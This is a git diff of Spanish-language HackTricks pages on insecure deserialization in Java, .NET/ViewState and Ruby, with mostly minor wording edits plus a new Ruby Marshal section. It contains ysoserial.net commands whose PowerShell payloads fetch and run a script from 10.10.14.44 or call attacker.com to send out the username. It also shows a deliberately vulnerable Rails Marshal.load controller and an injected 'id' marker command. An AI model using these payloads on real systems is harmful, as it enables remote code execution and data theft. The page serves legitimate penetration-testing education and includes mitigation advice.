javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA ``` ### Verificar si es vulnerable -Si quieres **aprender cómo funciona un exploit de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). +Si quieres **aprender cómo funciona un exploit de deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). #### Prueba de Caja Blanca @@ -359,24 +413,24 @@ grep -R InvokeTransformer . ``` Podrías intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y que [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O podrías revisar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ También podrías usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que puedan ser explotadas.\ -Al ejecutar **gadgetinspector** (después de construirlo), no te preocupes por las toneladas de advertencias/errores que está generando y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Por favor, ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**. +Al ejecutar **gadgetinspector** (después de construirlo) no te preocupes por las toneladas de advertencias/errores que está generando y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Por favor, ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**. #### Prueba de Caja Negra Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\ [**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe se centra en las deserializaciones de **`ObjectInputStream`**. +GadgetProbe se centra en las **deserializaciones de `ObjectInputStream`**. Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\ [**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scanner se centra en las deserializaciones de **`ObjectInputStream`**. +Java Deserialization Scanner se centra en las **deserializaciones de `ObjectInputStream`**. También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este plugin detectará **no solo vulnerabilidades relacionadas con `ObjectInputStream`** sino **también** vulnerabilidades de bibliotecas de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas usando payloads de sleep o DNS.\ [**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **Prueba de Serialización** -No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunas verificaciones** (quizás otorgándote privilegios de administrador dentro de una webapp).\ +No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunas verificaciones** (quizás otorgándote privilegios de administrador dentro de una aplicación web).\ Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría modificarlos y eludir algunas verificaciones. ### **Explotar** @@ -486,7 +540,7 @@ Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blo ### Labs -- Si quieres probar algunos payloads de ysoserial, puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) +- Si quieres probar algunos payloads de ysoserial puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Why @@ -494,10 +548,10 @@ Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blo Java utiliza mucha serialización para varios propósitos como: - **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc. -- **RMI (Remote Method Invocation)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java. +- **RMI (Remote Method Invocation)**: El protocolo RMI de Java, que se basa completamente en la serialización, es una piedra angular para la comunicación remota en aplicaciones Java. - **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos. - **JMX (Java Management Extensions)**: JMX utiliza la serialización para transmitir objetos a través de la red. -- **Protocolos personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo cual se demostrará en ejemplos de explotación próximos. +- **Protocolos personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, que se demostrará en ejemplos de explotación próximos. ### Prevention @@ -512,7 +566,7 @@ private transient double margin; // declared transient ``` #### Evitar la serialización de una clase que necesita implementar Serializable -En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación: +En escenarios donde ciertos **objetos deben implementar la `Serializable`** interfaz debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -577,7 +631,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); ### Referencias - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) -- Deserialización y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) +- Deserialization y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) - Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) @@ -585,20 +639,19 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Deserialización de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) +- Deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## Inyección JNDI & log4Shell -Encuentra qué es **la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página: +Encuentra qué es **JNDI Injection, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md {{#endref}} -## JMS - Servicio de Mensajes de Java +## JMS - Java Message Service -> La API de **Servicio de Mensajes de Java** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> La API de **Java Message Service** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Productos @@ -619,6 +672,8 @@ La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para ** ### Referencias +- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) + - Charla de JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Diapositivas: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) @@ -656,7 +711,7 @@ Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatte #### Más parámetros de ysoserial.net -- `--minify` proporcionará una **carga útil más pequeña** (si es posible) +- `--minify` proporcionará una **carga más pequeña** (si es posible) - `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso) - `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas) @@ -679,7 +734,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\ -Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así podrás probar si tu payload funcionará correctamente.\ +Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así que puedes probar si tu payload funcionará correctamente.\ Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -716,15 +771,15 @@ Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_V Para mitigar los riesgos asociados con la deserialización en .Net: -- **Evitar permitir que los flujos de datos definan sus tipos de objeto.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible. -- **Para `JSON.Net`, establece `TypeNameHandling` en `None`:** %%%TypeNameHandling = TypeNameHandling.None%%% -- **Evitar usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.** -- **Limitar los tipos que pueden ser deserializados**, entendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que podría llevar a ataques de denegación de servicio. -- **Tener cuidado con los tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada. -- **Controlar de manera segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, haciendo que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables. -- **Implementar controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`. -- **Mantenerse informado sobre gadgets de deserialización inseguros conocidos** dentro de .Net y asegurarse de que los deserializadores no instancien tales tipos. -- **Aislar el código potencialmente riesgoso** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables. +- **Evita permitir que los flujos de datos definan sus tipos de objeto.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible. +- **Para `JSON.Net`, establece `TypeNameHandling` en `None`:** `TypeNameHandling = TypeNameHandling.None` +- **Evita usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.** +- **Limita los tipos que pueden ser deserializados**, entendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que podría llevar a ataques de denegación de servicio. +- **Ten cuidado con los tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada. +- **Controla de manera segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, haciendo que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables. +- **Implementa controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`. +- **Mantente informado sobre gadgets de deserialización inseguros conocidos** dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos. +- **Aísla el código potencialmente riesgoso** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables. ### **Referencias** @@ -860,11 +915,11 @@ Consulte más información en la [página de contaminación _json de Ruby](ruby- ### Otras bibliotecas -Esta técnica fue tomada [**de esta publicación de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Esta técnica fue tomada [**de esta publicación en el blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). -Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializan (función para abusar para obtener RCE básicamente): +Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializa (función para abusar y obtener RCE básicamente): -
BibliotecaDatos de entradaMétodo de inicio dentro de la clase
Marshal (Ruby)Binario_load
OjJSONhash (la clase debe ser puesta en hash(map) como clave)
OxXMLhash (la clase debe ser puesta en hash(map) como clave)
Psych (Ruby)YAMLhash (la clase debe ser puesta en hash(map) como clave)
init_with
JSON (Ruby)JSONjson_create ([ver notas sobre json_create al final](#table-vulnerable-sinks))
+
BibliotecaDatos de entradaMétodo de inicio dentro de la clase
Marshal (Ruby)Binario_load
OjJSONhash (la clase debe ser puesta en hash(mapa) como clave)
OxXMLhash (la clase debe ser puesta en hash(mapa) como clave)
Psych (Ruby)YAMLhash (la clase debe ser puesta en hash(mapa) como clave)
init_with
JSON (Ruby)JSONjson_create ([ver notas sobre json_create al final](#table-vulnerable-sinks))
Ejemplo básico: ```ruby @@ -922,11 +977,11 @@ Además, se encontró que con la técnica anterior también se crea una carpeta } } ``` -Consulta más detalles en la [**publicación original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). ### Bootstrap Caching -No es realmente una vulnerabilidad de deserialización, sino un buen truco para abusar del almacenamiento en caché de bootstrap para obtener RCE de una aplicación Rails con una escritura de archivo arbitraria (encuentra la [publicación original completa aquí](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +No es realmente una vulnerabilidad de deserialización, sino un buen truco para abusar del almacenamiento en caché de Bootstrap y obtener RCE de una aplicación Rails con una escritura de archivo arbitraria (encuentra el [post original completo aquí](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). A continuación se presenta un breve resumen de los pasos detallados en el artículo para explotar una vulnerabilidad de escritura de archivo arbitraria abusando del almacenamiento en caché de Bootsnap: @@ -954,9 +1009,60 @@ El atacante prepara una carga útil que: - Elimina la caché maliciosa después de la ejecución para evitar explotación recursiva. - Carga el archivo original (por ejemplo, set.rb) para evitar que la aplicación se bloquee. -Esta carga útil se compila en código Ruby binario y se concatena con un encabezado de clave de caché cuidadosamente construido (usando los metadatos recopilados previamente y el número de versión correcto para Bootsnap). +Esta carga útil se compila en código Ruby binario y se concatena con un encabezado de clave de caché cuidadosamente construido (utilizando los metadatos recopilados previamente y el número de versión correcto para Bootsnap). - Sobrescribir y Activar la Ejecución Usando la vulnerabilidad de escritura de archivo arbitraria, el atacante escribe el archivo de caché elaborado en la ubicación calculada. A continuación, activan un reinicio del servidor (escribiendo en tmp/restart.txt, que es monitoreado por Puma). Durante el reinicio, cuando Rails requiere el archivo objetivo, se carga el archivo de caché malicioso, lo que resulta en ejecución remota de código (RCE). +### Ruby Marshal exploitation in practice (updated) + +Trate cualquier ruta donde bytes no confiables lleguen a `Marshal.load`/`marshal_load` como un sumidero de RCE. Marshal reconstruye gráficos de objetos arbitrarios y activa callbacks de bibliotecas/gemas durante la materialización. + +- Ruta de código Rails vulnerable mínima: +```ruby +class UserRestoreController < ApplicationController +def show +user_data = params[:data] +if user_data.present? +deserialized_user = Marshal.load(Base64.decode64(user_data)) +render plain: "OK: #{deserialized_user.inspect}" +else +render plain: "No data", status: :bad_request +end +end +end +``` +- Clases de gadgets comunes vistas en cadenas reales: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. +- Marcador de efecto secundario típico incrustado en cargas útiles (ejecutado durante la deserialización): +``` +*-TmTT="$(id>/tmp/marshal-poc)"any.zip +``` +Donde aparece en aplicaciones reales: +- Almacenes de caché de Rails y almacenes de sesión que históricamente utilizan Marshal +- Backend de trabajos en segundo plano y almacenes de objetos respaldados por archivos +- Cualquier persistencia o transporte personalizado de blobs de objetos binarios + +Descubrimiento industrializado de gadgets: +- Grep para constructores, `hash`, `_load`, `init_with`, o métodos con efectos secundarios invocados durante el desmarshalling +- Utilizar las consultas de deserialización insegura de Ruby de CodeQL para rastrear fuentes → sumideros y descubrir gadgets +- Validar con PoCs públicas de múltiples formatos (JSON/XML/YAML/Marshal) + + +## Referencias + +- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ +- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/ +- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html +- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420 +- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization +- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/ +- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ +- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization +- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 +- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html +- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html +- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 +- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444 +- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index a3d98b7ac..8e8433d46 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -21,7 +21,7 @@ La información de ViewState se puede caracterizar por las siguientes propiedade La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET según la versión del marco .NET. Aquí hay un resumen del contenido: -1. Para **cualquier versión de .NET**, cuando tanto MAC como la Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo. +1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo. 2. Para **versiones anteriores a 4.5**, si MAC está habilitado pero la Encriptación no, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r." 3. Para **versiones anteriores a 4.5**, independientemente de si MAC está habilitado o deshabilitado, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro." 4. Para **versiones 4.5 y superiores**, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey se puede identificar utilizando "Blacklist3r." @@ -38,13 +38,13 @@ Puedes intentar identificar si ViewState está protegido por MAC capturando una ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` -### Caso de prueba 1.5 – Como el caso de prueba 1 pero la cookie ViewState no es enviada por el servidor +### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie).\ Se puede suponer que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\ Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**. -### Caso de prueba: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false +### Test Case: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false Para **habilitar ViewState MAC** para una **página específica**, necesitamos hacer los siguientes cambios en un archivo aspx específico: ```bash @@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla. +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla. Se puede suministrar con el viewstate y el generador directamente: ``` @@ -90,7 +90,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` ![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png) -Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md): +Para buscar viewstates vulnerables a gran escala, junto con la enumeración de subdominios, se puede utilizar el módulo `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md): ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` @@ -114,7 +114,7 @@ En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el v **Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** ha sido configurado a _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.** -Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la traversía de archivos, el comando de [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, puede ser usado para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState. +Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, puede ser usado para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState. - Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará. @@ -124,7 +124,7 @@ Podemos forzar el uso del marco ASP.NET especificando el siguiente parámetro de ```xml ``` -Alternativamente, esto se puede hacer especificando la siguiente opción dentro del parámetro `machineKey` del archivo web.config. +Alternativamente, esto se puede hacer especificando la opción a continuación dentro del parámetro `machineKey` del archivo web.config. ```bash compatibilityMode="Framework45" ``` @@ -155,11 +155,11 @@ Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parám ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). +Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el [PoC de Explotación 